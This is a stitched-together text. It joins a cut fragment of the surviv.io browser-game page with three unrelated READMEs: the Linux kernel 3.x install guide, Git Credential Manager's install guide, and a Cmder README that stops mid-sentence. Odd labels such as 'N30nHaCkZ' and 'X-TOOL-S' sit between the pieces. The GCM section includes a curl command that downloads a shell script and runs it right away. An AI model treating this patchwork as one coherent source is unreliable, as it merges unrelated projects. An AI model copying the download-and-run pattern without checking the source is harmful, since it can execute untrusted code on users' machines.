2020</small> <p class='news-paragraph'><strong>Keep Your Enemies Closer</strong></p> <p class='news-paragraph'>PARMA recognizes this season of togetherness and generously offers to help rivals resolve their differences. The all new <span class='highlight'>Heart Cannon</span> diffuses damage taken from your frenemies. For groups of future friends, the same effect is achieved with the all-new <span class='highlight'>Heart Grenade</span>.</p> <p class='news-paragraph'>If you do not trust the intentions of your new friends, eat an entire <span class='highlight'>box of chocolates</span> to counter the effect of <span class='highlight'>Heart Weapons</span>.</p> </div> <div data-date='2020-1-27'> <small class='news-date'>January 27, 2020</small> <p class='news-paragraph'><strong>Dodge This</strong></p> <p class='news-paragraph'><span class='highlight'>Woods</span> Mode is back with two new weapons and things are bound to get explosive. The <span class='highlight'>PKM</span> and <span class='highlight'>Hawk 12G</span> join the Woods Map arsenal, along with increased grenade capacity.</p> <p class='news-paragraph'>The <span class='highlight'>PKM</span> packs a punch while balancing mobility and range. Based on the M870 with an added magazine, the <span class='highlight'>Hawk 12G</span>'s ammo capacity of 5 is the same as its parent weapon, the fire delay is faster and fires a tighter spread. </p> </div> <div data-date='2020-1-13'> <small class='news-date'>January 13, 2020</small> <p class='news-paragraph'><strong>Stay frosty</strong></p> <p class='news-paragraph'>Winter has arrived on the Island with new features and is more dangerous than ever, including PARMA's latest item, the <span class='highlight'>Flask</span>.</p> <p class='news-paragraph'>Track your enemy's footprints and use the <span class='highlight'>Snow Fox</span> perk to cover up your footprints. Be sure to keep moving or take freezing damage. Flasks and the <span class='highlight'>Polar Bear</span> perk keep you from freezing. And watch out for ice. It's slippery.</p> </div> <div data-date='2019-12-30'> <small class='news-date'>December 30, 2019</small> <p class='news-paragraph'><strong>Free Fryer</strong></p> <p class='news-paragraph'>PARMA's FSTMS division is pleased to introduce the next generation in starch-based modern warfare: the <span class='highlight'>spud gun</span>.</p> <p class='news-paragraph'>Officially designated the SMG-8 (Spud Missile Generator), the spud gun uses a proprietary breech-to-muzzle heat expander to fry and propel wedge-shaped projectiles at tremendous speeds. Like its cousin, the potato cannon, the spud gun also features nitroglycerin-spiked ammunition and a nifty tuber replication device!</p> </div> </div> </div> </div> </div> </div> <div class='ad-block-leaderboard-bottom' id='surviv-io_728x90'></div> </div> <div id='start-bottom-left'> <div class='hide-on-mobile'> <a href='/~/https://play.google.com/store/apps/details?id=io.surviv.surviv_io_mobile' target='_blank' class='btn-download-android btn-download-app btn-darken'></a> </div> <div class='hide-on-mobile'> <a href='/~/https://itunes.apple.com/us/app/surviv-io/id1401727934?ls=1&mt=8' target='_blank' class='btn-download-ios btn-download-app btn-darken'></a> </div> <div id='mobile-settings-front'> <div class='btn-settings menu-option btn-darken btn-start-option'></div> </div> </div> <div id="start-bottom-middle"> <a href='changelog.html' target="_blank" class="footer-after">ver 0.9.1b</a> <a href='proxy.txt' target="_blank" data-l10n='index-proxy-sites'>proxy sites</a> </div> <div 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class='modal-settings-checkbox-text' data-l10n='index-anon-player-names'>Anonymize player names</p> </div> <div class='modal-settings-item dpad'> <input id='activateDpad' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-left-mode'>Left handed mode </p> </div> <div class='modal-settings-item auto-melee'> <input id='autoMelee' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-auto-melee'>Auto Melee Boxes</p> </div> <div class='modal-settings-item aim-assist'> <input id='aimAssist' type='checkbox'><p class='modal-settings-checkbox-text' data-l10n='index-aim-assist'>Aim Assist</p> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-master-volume'>Master Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-master-volume" id=""> </div> <div class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' 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id='modal-screen-block'> <div id='modal-item-confirm' class='modal'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <h2 id='modal-account-name-title'>You got a new item!</h2> </div> <div class='modal-body modal-body-name'> <div id='modal-item-confirm-image-outer'> <div id='modal-item-confirm-image-inner'></div> </div> <div class='modal-settings-item'> <p id='modal-item-confirm-name' class='modal-body-text'></p> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 class='close close-footer' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> </div> <div id='modal-cookie-settings' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>Cookie Settings</h2> </div> <div class='modal-body'> <p class='modal-body-text'>We use cookies to personalize content and ads, to provide social media features, and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website. Click <a href='#' id='btn-cookie-opt-out' class='close'>here</a> to opt out of using cookies.</p> </div> <div class='modal-footer modal-footer-round'> <h3 class='close close-footer'><div class='btn-cookies-close btn-darken'>Got it!</div></h3> </div> </div> </div> </div> <script type="text/javascript" src="js/manifest.8e62061f.js"></script><script type="text/javascript" src="js/vendor.bd007df0.js"></script><script type="text/javascript" src="js/app.55f8f3a9.
N30nHaCkZ
Linux kernel release 3.x <http://kernel.org/> These are the release notes for Linux version 3. Read them carefully, as they tell you what this is all about, explain how to install the kernel, and what to do if something goes wrong. WHAT IS LINUX? Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. It has all the features you would expect in a modern fully-fledged Unix, including true multitasking, virtual memory, shared libraries, demand loading, shared copy-on-write executables, proper memory management, and multistack networking including IPv4 and IPv6. It is distributed under the GNU General Public License - see the accompanying COPYING file for more details. ON WHAT HARDWARE DOES IT RUN? Although originally developed first for 32-bit x86-based PCs (386 or higher), today Linux also runs on (at least) the Compaq Alpha AXP, Sun SPARC and UltraSPARC, Motorola 68000, PowerPC, PowerPC64, ARM, Hitachi SuperH, Cell, IBM S/390, MIPS, HP PA-RISC, Intel IA-64, DEC VAX, AMD x86-64, AXIS CRIS, Xtensa, Tilera TILE, AVR32 and Renesas M32R architectures. Linux is easily portable to most general-purpose 32- or 64-bit architectures as long as they have a paged memory management unit (PMMU) and a port of the GNU C compiler (gcc) (part of The GNU Compiler Collection, GCC). Linux has also been ported to a number of architectures without a PMMU, although functionality is then obviously somewhat limited. Linux has also been ported to itself. You can now run the kernel as a userspace application - this is called UserMode Linux (UML). DOCUMENTATION: - There is a lot of documentation available both in electronic form on the Internet and in books, both Linux-specific and pertaining to general UNIX questions. I'd recommend looking into the documentation subdirectories on any Linux FTP site for the LDP (Linux Documentation Project) books. This README is not meant to be documentation on the system: there are much better sources available. - There are various README files in the Documentation/ subdirectory: these typically contain kernel-specific installation notes for some drivers for example. See Documentation/00-INDEX for a list of what is contained in each file. Please read the Changes file, as it contains information about the problems, which may result by upgrading your kernel. - The Documentation/DocBook/ subdirectory contains several guides for kernel developers and users. These guides can be rendered in a number of formats: PostScript (.ps), PDF, HTML, & man-pages, among others. After installation, "make psdocs", "make pdfdocs", "make htmldocs", or "make mandocs" will render the documentation in the requested format. INSTALLING the kernel source: - If you install the full sources, put the kernel tarball in a directory where you have permissions (eg. your home directory) and unpack it: gzip -cd linux-3.X.tar.gz | tar xvf - or bzip2 -dc linux-3.X.tar.bz2 | tar xvf - Replace "X" with the version number of the latest kernel. Do NOT use the /usr/src/linux area! This area has a (usually incomplete) set of kernel headers that are used by the library header files. They should match the library, and not get messed up by whatever the kernel-du-jour happens to be. - You can also upgrade between 3.x releases by patching. Patches are distributed in the traditional gzip and the newer bzip2 format. To install by patching, get all the newer patch files, enter the top level directory of the kernel source (linux-3.X) and execute: gzip -cd ../patch-3.x.gz | patch -p1 or bzip2 -dc ../patch-3.x.bz2 | patch -p1 Replace "x" for all versions bigger than the version "X" of your current source tree, _in_order_, and you should be ok. You may want to remove the backup files (some-file-name~ or some-file-name.orig), and make sure that there are no failed patches (some-file-name# or some-file-name.rej). If there are, either you or I have made a mistake. Unlike patches for the 3.x kernels, patches for the 3.x.y kernels (also known as the -stable kernels) are not incremental but instead apply directly to the base 3.x kernel. For example, if your base kernel is 3.0 and you want to apply the 3.0.3 patch, you must not first apply the 3.0.1 and 3.0.2 patches. Similarly, if you are running kernel version 3.0.2 and want to jump to 3.0.3, you must first reverse the 3.0.2 patch (that is, patch -R) _before_ applying the 3.0.3 patch. You can read more on this in Documentation/applying-patches.txt Alternatively, the script patch-kernel can be used to automate this process. It determines the current kernel version and applies any patches found. linux/scripts/patch-kernel linux The first argument in the command above is the location of the kernel source. Patches are applied from the current directory, but an alternative directory can be specified as the second argument. - Make sure you have no stale .o files and dependencies lying around: cd linux make mrproper You should now have the sources correctly installed. SOFTWARE REQUIREMENTS Compiling and running the 3.x kernels requires up-to-date versions of various software packages. Consult Documentation/Changes for the minimum version numbers required and how to get updates for these packages. Beware that using excessively old versions of these packages can cause indirect errors that are very difficult to track down, so don't assume that you can just update packages when obvious problems arise during build or operation. BUILD directory for the kernel: When compiling the kernel, all output files will per default be stored together with the kernel source code. Using the option "make O=output/dir" allow you to specify an alternate place for the output files (including .config). Example: kernel source code: /usr/src/linux-3.X build directory: /home/name/build/kernel To configure and build the kernel, use: cd /usr/src/linux-3.X make O=/home/name/build/kernel menuconfig make O=/home/name/build/kernel sudo make O=/home/name/build/kernel modules_install install Please note: If the 'O=output/dir' option is used, then it must be used for all invocations of make. CONFIGURING the kernel: Do not skip this step even if you are only upgrading one minor version. New configuration options are added in each release, and odd problems will turn up if the configuration files are not set up as expected. If you want to carry your existing configuration to a new version with minimal work, use "make oldconfig", which will only ask you for the answers to new questions. - Alternative configuration commands are: "make config" Plain text interface. "make menuconfig" Text based color menus, radiolists & dialogs. "make nconfig" Enhanced text based color menus. "make xconfig" X windows (Qt) based configuration tool. "make gconfig" X windows (Gtk) based configuration tool. "make oldconfig" Default all questions based on the contents of your existing ./.config file and asking about new config symbols. "make silentoldconfig" Like above, but avoids cluttering the screen with questions already answered. Additionally updates the dependencies. "make olddefconfig" Like above, but sets new symbols to their default values without prompting. "make defconfig" Create a ./.config file by using the default symbol values from either arch/$ARCH/defconfig or arch/$ARCH/configs/${PLATFORM}_defconfig, depending on the architecture. "make ${PLATFORM}_defconfig" Create a ./.config file by using the default symbol values from arch/$ARCH/configs/${PLATFORM}_defconfig. Use "make help" to get a list of all available platforms of your architecture. "make allyesconfig" Create a ./.config file by setting symbol values to 'y' as much as possible. "make allmodconfig" Create a ./.config file by setting symbol values to 'm' as much as possible. "make allnoconfig" Create a ./.config file by setting symbol values to 'n' as much as possible. "make randconfig" Create a ./.config file by setting symbol values to random values. "make localmodconfig" Create a config based on current config and loaded modules (lsmod). Disables any module option that is not needed for the loaded modules. To create a localmodconfig for another machine, store the lsmod of that machine into a file and pass it in as a LSMOD parameter. target$ lsmod > /tmp/mylsmod target$ scp /tmp/mylsmod host:/tmp host$ make LSMOD=/tmp/mylsmod localmodconfig The above also works when cross compiling. "make localyesconfig" Similar to localmodconfig, except it will convert all module options to built in (=y) options. You can find more information on using the Linux kernel config tools in Documentation/kbuild/kconfig.txt. - NOTES on "make config": - Having unnecessary drivers will make the kernel bigger, and can under some circumstances lead to problems: probing for a nonexistent controller card may confuse your other controllers - Compiling the kernel with "Processor type" set higher than 386 will result in a kernel that does NOT work on a 386. The kernel will detect this on bootup, and give up. - A kernel with math-emulation compiled in will still use the coprocessor if one is present: the math emulation will just never get used in that case. The kernel will be slightly larger, but will work on different machines regardless of whether they have a math coprocessor or not. - The "kernel hacking" configuration details usually result in a bigger or slower kernel (or both), and can even make the kernel less stable by configuring some routines to actively try to break bad code to find kernel problems (kmalloc()). Thus you should probably answer 'n' to the questions for "development", "experimental", or "debugging" features. COMPILING the kernel: - Make sure you have at least gcc 3.2 available. For more information, refer to Documentation/Changes. Please note that you can still run a.out user programs with this kernel. - Do a "make" to create a compressed kernel image. It is also possible to do "make install" if you have lilo installed to suit the kernel makefiles, but you may want to check your particular lilo setup first. To do the actual install, you have to be root, but none of the normal build should require that. Don't take the name of root in vain. - If you configured any of the parts of the kernel as `modules', you will also have to do "make modules_install". - Verbose kernel compile/build output: Normally, the kernel build system runs in a fairly quiet mode (but not totally silent). However, sometimes you or other kernel developers need to see compile, link, or other commands exactly as they are executed. For this, use "verbose" build mode. This is done by inserting "V=1" in the "make" command. E.g.: make V=1 all To have the build system also tell the reason for the rebuild of each target, use "V=2". The default is "V=0". - Keep a backup kernel handy in case something goes wrong. This is especially true for the development releases, since each new release contains new code which has not been debugged. Make sure you keep a backup of the modules corresponding to that kernel, as well. If you are installing a new kernel with the same version number as your working kernel, make a backup of your modules directory before you do a "make modules_install". Alternatively, before compiling, use the kernel config option "LOCALVERSION" to append a unique suffix to the regular kernel version. LOCALVERSION can be set in the "General Setup" menu. - In order to boot your new kernel, you'll need to copy the kernel image (e.g. .../linux/arch/i386/boot/bzImage after compilation) to the place where your regular bootable kernel is found. - Booting a kernel directly from a floppy without the assistance of a bootloader such as LILO, is no longer supported. If you boot Linux from the hard drive, chances are you use LILO, which uses the kernel image as specified in the file /etc/lilo.conf. The kernel image file is usually /vmlinuz, /boot/vmlinuz, /bzImage or /boot/bzImage. To use the new kernel, save a copy of the old image and copy the new image over the old one. Then, you MUST RERUN LILO to update the loading map!! If you don't, you won't be able to boot the new kernel image. Reinstalling LILO is usually a matter of running /sbin/lilo. You may wish to edit /etc/lilo.conf to specify an entry for your old kernel image (say, /vmlinux.old) in case the new one does not work. See the LILO docs for more information. After reinstalling LILO, you should be all set. Shutdown the system, reboot, and enjoy! If you ever need to change the default root device, video mode, ramdisk size, etc. in the kernel image, use the 'rdev' program (or alternatively the LILO boot options when appropriate). No need to recompile the kernel to change these parameters. - Reboot with the new kernel and enjoy. IF SOMETHING GOES WRONG: - If you have problems that seem to be due to kernel bugs, please check the file MAINTAINERS to see if there is a particular person associated with the part of the kernel that you are having trouble with. If there isn't anyone listed there, then the second best thing is to mail them to me (torvalds@linux-foundation.org), and possibly to any other relevant mailing-list or to the newsgroup. - In all bug-reports, *please* tell what kernel you are talking about, how to duplicate the problem, and what your setup is (use your common sense). If the problem is new, tell me so, and if the problem is old, please try to tell me when you first noticed it. - If the bug results in a message like unable to handle kernel paging request at address C0000010 Oops: 0002 EIP: 0010:XXXXXXXX eax: xxxxxxxx ebx: xxxxxxxx ecx: xxxxxxxx edx: xxxxxxxx esi: xxxxxxxx edi: xxxxxxxx ebp: xxxxxxxx ds: xxxx es: xxxx fs: xxxx gs: xxxx Pid: xx, process nr: xx xx xx xx xx xx xx xx xx xx xx or similar kernel debugging information on your screen or in your system log, please duplicate it *exactly*. The dump may look incomprehensible to you, but it does contain information that may help debugging the problem. The text above the dump is also important: it tells something about why the kernel dumped code (in the above example, it's due to a bad kernel pointer). More information on making sense of the dump is in Documentation/oops-tracing.txt - If you compiled the kernel with CONFIG_KALLSYMS you can send the dump as is, otherwise you will have to use the "ksymoops" program to make sense of the dump (but compiling with CONFIG_KALLSYMS is usually preferred). This utility can be downloaded from ftp://ftp.<country>.kernel.org/pub/linux/utils/kernel/ksymoops/ . Alternatively, you can do the dump lookup by hand: - In debugging dumps like the above, it helps enormously if you can look up what the EIP value means. The hex value as such doesn't help me or anybody else very much: it will depend on your particular kernel setup. What you should do is take the hex value from the EIP line (ignore the "0010:"), and look it up in the kernel namelist to see which kernel function contains the offending address. To find out the kernel function name, you'll need to find the system binary associated with the kernel that exhibited the symptom. This is the file 'linux/vmlinux'. To extract the namelist and match it against the EIP from the kernel crash, do: nm vmlinux | sort | less This will give you a list of kernel addresses sorted in ascending order, from which it is simple to find the function that contains the offending address. Note that the address given by the kernel debugging messages will not necessarily match exactly with the function addresses (in fact, that is very unlikely), so you can't just 'grep' the list: the list will, however, give you the starting point of each kernel function, so by looking for the function that has a starting address lower than the one you are searching for but is followed by a function with a higher address you will find the one you want. In fact, it may be a good idea to include a bit of "context" in your problem report, giving a few lines around the interesting one. If you for some reason cannot do the above (you have a pre-compiled kernel image or similar), telling me as much about your setup as possible will help. Please read the REPORTING-BUGS document for details. - Alternatively, you can use gdb on a running kernel. (read-only; i.e. you cannot change values or set break points.) To do this, first compile the kernel with -g; edit arch/i386/Makefile appropriately, then do a "make clean". You'll also need to enable CONFIG_PROC_FS (via "make config"). After you've rebooted with the new kernel, do "gdb vmlinux /proc/kcore". You can now use all the usual gdb commands. The command to look up the point where your system crashed is "l *0xXXXXXXXX". (Replace the XXXes with the EIP value.) gdb'ing a non-running kernel currently fails because gdb (wrongly) disregards the starting offset for which the kernel is compiled.
X-TOOL-S
# Git Credential Manager [](https://github.com/GitCredentialManager/git-credential-manager/actions/workflows/continuous-integration.yml) --- [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is a secure Git credential helper built on [.NET](https://dotnet.microsoft.com) that runs on Windows, macOS, and Linux. Compared to Git's [built-in credential helpers]((https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage)) (Windows: wincred, macOS: osxkeychain, Linux: gnome-keyring/libsecret) which provides single-factor authentication support working on any HTTP-enabled Git repository, GCM provides multi-factor authentication support for [Azure DevOps](https://dev.azure.com/), Azure DevOps Server (formerly Team Foundation Server), GitHub, Bitbucket, and GitLab. Git Credential Manager (GCM) replaces the .NET Framework-based [Git Credential Manager for Windows](https://github.com/microsoft/Git-Credential-Manager-for-Windows) (GCM), and the Java-based [Git Credential Manager for Mac and Linux](https://github.com/microsoft/Git-Credential-Manager-for-Mac-and-Linux) (Java GCM), providing a consistent authentication experience across all platforms. ## Current status Git Credential Manager is currently available for Windows, macOS, and Linux\*. GCM only works with HTTP(S) remotes; you can still use Git with SSH: - [Azure DevOps SSH](https://docs.microsoft.com/en-us/azure/devops/repos/git/use-ssh-keys-to-authenticate?view=azure-devops) - [GitHub SSH](https://help.github.com/en/articles/connecting-to-github-with-ssh) - [Bitbucket SSH](https://confluence.atlassian.com/bitbucket/ssh-keys-935365775.html) Feature|Windows|macOS|Linux -|:-:|:-:|:-: Installer/uninstaller|✓|✓|✓\* Secure platform credential storage|✓ [(see more)](docs/credstores.md)|✓ [(see more)](docs/credstores.md)|✓ [(see more)](docs/credstores.md) Multi-factor authentication support for Azure DevOps|✓|✓|✓ Two-factor authentication support for GitHub|✓|✓|✓ Two-factor authentication support for Bitbucket|✓|✓|✓ Two-factor authentication support for GitLab|✓|✓|✓ Windows Integrated Authentication (NTLM/Kerberos) support|✓|_N/A_|_N/A_ Basic HTTP authentication support|✓|✓|✓ Proxy support|✓|✓|✓ `amd64` support|✓|✓|✓ `x86` support|✓|_N/A_|✗ `arm64` support|best effort|via Rosetta 2|best effort, no packages `armhf` support|_N/A_|_N/A_|best effort, no packages (\*) GCM guarantees support for the below Linux distributions. GCM maintainers also monitor and evaluate issues opened against other distributions to determine community interest/engagement and whether an emerging platform should become fully-supported. - Debian/Ubuntu/Linux Mint - Fedora/CentOS/RHEL - Alpine ## Download and Install ### macOS Homebrew The preferred installation mechanism is using Homebrew; we offer a Cask in our custom Tap. To install, run the following: ```shell brew tap microsoft/git brew install --cask git-credential-manager-core ``` After installing you can stay up-to-date with new releases by running: ```shell brew upgrade git-credential-manager-core ``` #### Git Credential Manager for Mac and Linux (Java-based GCM) If you have an existing installation of the 'Java GCM' on macOS and you have installed this using Homebrew, this installation will be unlinked (`brew unlink git-credential-manager`) when GCM is installed. #### Uninstall To uninstall, run the following: ```shell brew uninstall --cask git-credential-manager-core ``` --- ### macOS Package We also provide a [.pkg installer](https://github.com/GitCredentialManager/git-credential-manager/releases/latest) with each release. To install, double-click the installation package and follow the instructions presented. #### Uninstall To uninstall, run the following: ```shell sudo /usr/local/share/gcm-core/uninstall.sh ``` --- <!-- this explicit anchor should stay stable so that external docs can link here --> <!-- markdownlint-disable-next-line no-inline-html --> <a name="linux-install-instructions"></a> ### Linux #### Experimental: install from source helper script If you would like to help dogfood our new install from source helper script, run the following: 1. To ensure `curl` is installed: ```shell curl --version ``` If `curl` is not installed, please use your distribution's package manager to install it. 1. To download and run the script: ```shell curl -LO https://raw.githubusercontent.com/GitCredentialManager/git-credential-manager/main/src/linux/Packaging.Linux/install-from-source.sh && sh ./install-from-source.sh && git-credential-manager-core configure ``` **Note:** You will be prompted to enter your credentials so that the script can download GCM's dependencies using your distribution's package manager. #### Ubuntu/Debian distributions Download the latest [.deb package](https://github.com/GitCredentialManager/git-credential-manager/releases/latest), and run the following: ```shell sudo dpkg -i <path-to-package> git-credential-manager-core configure ``` **Note:** Although packages were previously offered on certain [Microsoft Ubuntu package feeds](https://packages.microsoft.com/repos/), GCM no longer publishes to these repositories. Please install the Debian package using the above instructions instead. To uninstall: ```shell git-credential-manager-core unconfigure sudo dpkg -r gcmcore ``` #### Other distributions Download the latest [tarball](https://github.com/GitCredentialManager/git-credential-manager/releases/latest), and run the following: ```shell tar -xvf <path-to-tarball> -C /usr/local/bin git-credential-manager-core configure ``` To uninstall: ```shell git-credential-manager-core unconfigure rm $(command -v git-credential-manager-core) ``` **Note:** all Linux distributions [require additional configuration](https://aka.ms/gcm/credstores) to use GCM. --- ### Windows GCM is included with [Git for Windows](https://gitforwindows.org/), and the latest version is included in each new Git for Windows release. This is the preferred way to install GCM on Windows. During installation you will be asked to select a credential helper, with GCM being set as the default.  #### Standalone installation You can also download the [latest installer](https://github.com/GitCredentialManager/git-credential-manager/releases/latest) for Windows to install GCM standalone. **:warning: Important :warning:** Installing GCM as a standalone package on Windows will forcibly override the version of GCM that is bundled with Git for Windows, **even if the version bundled with Git for Windows is a later version**. There are two flavors of standalone installation on Windows: - User (preferred) (`gcmcoreuser-win*`): Does not require administrator rights. Will install only for the current user and updates only the current user's Git configuration. - System (`gcmcore-win*`): Requires administrator rights. Will install for all users on the system and update the system-wide Git configuration. To install, double-click the desired installation package and follow the instructions presented. #### Uninstall (Windows 10) To uninstall, open the Settings app and navigate to the Apps section. Select "Git Credential Manager" and click "Uninstall". #### Uninstall (Windows 7-8.1) To uninstall, open Control Panel and navigate to the Programs and Features screen. Select "Git Credential Manager" and click "Remove". #### Windows Subsystem for Linux (WSL) Git Credential Manager can be used with the [Windows Subsystem for Linux (WSL)](https://aka.ms/wsl) to enable secure authentication of your remote Git repositories from inside of WSL. [Please see the GCM on WSL docs](docs/wsl.md) for more information. ## Supported Git versions Git Credential Manager tries to be compatible with the broadest set of Git versions (within reason). However there are some know problematic releases of Git that are not compatible. - Git 1.x The initial major version of Git is not supported or tested with GCM. - Git 2.26.2 This version of Git introduced a breaking change with parsing credential configuration that GCM relies on. This issue was fixed in commit [`12294990`](https://github.com/git/git/commit/12294990c90e043862be9eb7eb22c3784b526340) of the Git project, and released in Git 2.27.0. ## How to use Once it's installed and configured, Git Credential Manager is called implicitly by Git. You don't have to do anything special, and GCM isn't intended to be called directly by the user. For example, when pushing (`git push`) to [Azure DevOps](https://dev.azure.com), [Bitbucket](https://bitbucket.org), or [GitHub](https://github.com), a window will automatically open and walk you through the sign-in process. (This process will look slightly different for each Git host, and even in some cases, whether you've connected to an on-premises or cloud-hosted Git host.) Later Git commands in the same repository will re-use existing credentials or tokens that GCM has stored for as long as they're valid. Read full command line usage [here](docs/usage.md). ### Configuring a proxy See detailed information [here](https://aka.ms/gcm/httpproxy). ## Additional Resources - [Frequently asked questions](docs/faq.md) - [Development and debugging](docs/development.md) - [Command-line usage](docs/usage.md) - [Configuration options](docs/configuration.md) - [Environment variables](docs/environment.md) - [Enterprise configuration](docs/enterprise-config.md) - [Network and HTTP configuration](docs/netconfig.md) - [Credential stores](docs/credstores.md) - [Architectural overview](docs/architecture.md) - [Host provider specification](docs/hostprovider.md) - [Azure Repos OAuth tokens](docs/azrepos-users-and-tokens.md) - [GitLab support](docs/gitlab.md) ## Experimental Features - [Windows broker (experimental)](docs/windows-broker.md) ## Contributing This project welcomes contributions and suggestions. See the [contributing guide](CONTRIBUTING.md) to get started. This project follows [GitHub's Open Source Code of Conduct](CODE_OF_CONDUCT.md). ## License We're [MIT](LICENSE) licensed. When using GitHub logos, please be sure to follow the [GitHub logo guidelines](https://github.com/logos).
Ch-Jad
# Cmder [](https://gitter.im/cmderdev/cmder?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [](https://ci.appveyor.com/project/MartiUK/cmder) Cmder is a **software package** created out of pure frustration over absence of usable console emulator on Windows. It is based on [ConEmu](https://conemu.github.io/) with *major* config overhaul, comes with a Monokai color scheme, amazing [clink](https://chrisant996.github.io/clink/) (further enhanced by [clink-completions](https://github.com/vladimir-kotikov/clink-completions)) and a custom prompt layout.  ## Why use it The main advantage of Cmder is portability. It is designed to be totally self-contained with no external dependencies, which makes it great for **USB Sticks** or **cloud storage**. So you can carry your console, aliases and binaries (like wget, curl and git) with you anywhere. The Cmder's user interface is also designed to be more eye pleasing, and you can compare the main differences between Cmder and ConEmu [here](https://conemu.github.io/en/cmder.html). ## Installation ### Single User Portable Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive. *Note: This path should not be `C:\Program Files` or anywhere else that would require Administrator access for modifying configuration files* 3. (optional) Place your own executable files into the `%cmder_root%\bin` folder to be injected into your PATH. 4. Run `Cmder.exe` ### Shared Cmder install with Non-Portable Individual User Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive to a shared location. 3. (optional) Place your own executable files and custom app folders into the `%cmder_root%\bin`. See: [bin/README.md](./bin/Readme.md) - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. 4. (optional) Place your own custom app folders into the `%cmder_root%\opt`. See: [opt/README.md](./opt/Readme.md) - This folder will NOT be injected into your PATH so you have total control of what gets added. 5. Run `Cmder.exe` with `/C` command line argument. Example: `cmder.exe /C %userprofile%\cmder_config` * This will create the following directory structure if it is missing. ``` c:\users\[CH JaDi Rajput]\cmder_config ├───bin ├───config │ └───profile.d └───opt ``` - (optional) Place your own executable files and custom app folders into `%userprofile%\cmder_config\bin`. - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. - (optional) Place your own custom app folders into the `%user_profile%\cmder_config\opt`. - This folder will NOT be injected into your PATH so you have total control of what gets added. * Both the shared install and the individual user config locations can contain a full set of init and profile.d scripts enabling shared config with user overrides. See below. ## Cmder.exe Command Line Arguments | Argument | Description | | ------------------- | ----------------------------------------------------------------------- | | `/C [user_root_path]` | Individual user Cmder root folder. Example: `%userprofile%\cmder_config` | | `/M` | Use `conemu-%computername%.xml` for ConEmu settings storage instead of `user_conemu.xml` | | `/REGISTER [ALL, USER]` | Register a Windows Shell Menu shortcut. | | `/UNREGISTER [ALL, USER]` | Un-register a Windows Shell Menu shortcut. | | `/SINGLE` | Start Cmder in single mode. | | `/START [start_path]` | Folder path to start in. | | `/TASK [task_name]` | Task to start after launch. | | `/X [ConEmu extras pars]` | Forwards parameters to ConEmu | ## Context Menu Integration So you've experimented with Cmder a little and want to give it a shot in a more permanent home; ### Shortcut to open Cmder in a chosen folder 1. Open a terminal as an Administrator 2. Navigate to the directory you have placed Cmder 3. Execute `.\cmder.exe /REGISTER ALL` _If you get a message "Access Denied" ensure you are executing the command in an **Administrator** prompt._ In a file explorer window right click in or on a directory to see "Cmder Here" in the context menu. ## Keyboard shortcuts ### Tab manipulation * <kbd>Ctrl</kbd> + <kbd>T</kbd> : New tab dialog (maybe you want to open cmd as admin?) * <kbd>Ctrl</kbd> + <kbd>W</kbd> : Close tab * <kbd>Ctrl</kbd> + <kbd>D</kbd> : Close tab (if pressed on empty command) * <kbd>Shift</kbd> + <kbd>Alt</kbd> + <kbd>#Number</kbd> : Fast new tab: <kbd>1</kbd> - CMD, <kbd>2</kbd> - PowerShell * <kbd>Ctrl</kbd> + <kbd>Tab</kbd> : Switch to next tab * <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Tab</kbd> : Switch to previous tab * <kbd>Ctrl</kbd> + <kbd>#Number</kbd> : Switch to tab #Number * <kbd>Alt</kbd> + <kbd>Enter</kbd>: Fullscreen ### Shell * <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>U</kbd> : Traverse up in directory structure (lovely feature!) * <kbd>End</kbd>, <kbd>Home</kbd>, <kbd>Ctrl</kbd> : Traversing text with as usual on Windows * <kbd>Ctrl</kbd> + <kbd>R</kbd> : History search * <kbd>Shift</kbd> + Mouse : Select and copy text from buffer _(Some shortcuts are not yet documented, though they exist - please document them here)_ ## Features ### Access to multiple shells in one window using tabs You can open multiple tabs each containing one of the following shells: | Task | Shell | Description | | ---- | ----- | ----------- | | Cmder | `cmd.exe` | Windows `cmd.exe` shell enhanced with Git, Git aware prompt, Clink (GNU Readline), and Aliases. | | Cmder as Admin | `cmd.exe` | Administrative Windows `cmd.exe` Cmder shell. | | PowerShell | `powershell.exe` | Windows PowerShell enhanced with Git and Git aware prompt . | | PowerShell as Admin | `powershell.exe` | Administrative Windows `powershell.exe` Cmder shell. | | Bash | `bash.exe` | Unix/Linux like bash shell running on Windows. | | Bash as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. | | Mintty | `bash.exe` | Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | | Mintty as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | Cmder, PowerShell, and Bash tabs all run on top of the Windows Console API and work as you might expect in Cmder with access to use ConEmu's color schemes, key bindings and other settings defined in the ConEmu Settings dialog. ⚠ *NOTE:* Only the full edition of Cmder comes with a pre-installed bash, using a vendored [git-for-windows](https://gitforwindows.org/) installation. The pre-configured Bash tabs may not work on Cmder mini edition without additional configuration. You may however, choose to use an external installation of bash, such as Microsoft's [Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/install-win10) (called WSL) or the 